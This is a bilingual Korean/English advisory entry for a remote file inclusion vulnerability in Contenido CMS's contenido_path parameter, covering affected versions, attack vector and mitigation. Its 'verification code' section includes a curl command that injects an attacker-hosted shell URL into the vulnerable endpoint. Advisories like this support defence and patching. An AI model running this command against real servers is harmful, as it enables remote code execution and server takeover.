🇰🇷 한글 설명
Contenido CMS의 cms/dbfs.php 및 cms/front_content.php 파일에서 contenido_path 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 악의적인 URL을 통해 임의의 PHP 코드를 실행할 수 있습니다. 4.6.15 버전에서는 contenido_path가 정적값으로 설정되어 문제가 없습니다.
💡 쉬운 설명
Contenido 웹사이트 관리 프로그램에서 설정값에 악의적인 파일 주소를 입력하면 인터넷에서 그 파일을 다운로드해 실행합니다. 공격자가 서버를 완전히 장악할 수 있게 됩니다.
🇺🇸 원문 (English)
Remote file inclusion vulnerability in Contenido CMS allows remote attackers to execute arbitrary PHP code via a URL in the contenido_path parameter to (1) cms/dbfs.php or (2) cms/front_content.php. NOTE: CVE disputes this issue for version 4.6.15, because $contenido_path is set to a static value
📍 영향받는 시스템
Contenido CMS 4.6.15 이전 버전
⚔️ 공격 벡터
GET/POST 요청으로 cms/dbfs.php 또는 cms/front_content.php의 contenido_path 매개변수에 원격 파일 URL 삽입
🛡️ 대응 방법
Contenido CMS를 4.6.15 이상으로 즉시 업그레이드 또는 웹 애플리케이션 방화벽(WAF)으로 의심 파일 포함 요청 차단
🔧 검증 코드
PHP 오류나 임의 코드 실행 결과가 나타나면 취약점 존재, HTTP 404나 접근 제한 에러가 나면 패치됨
curl -s 'http://target/cms/dbfs.php?contenido_path=http://attacker.com/shell.php' | grep -E '(PHP|Error|Warning)' | head -1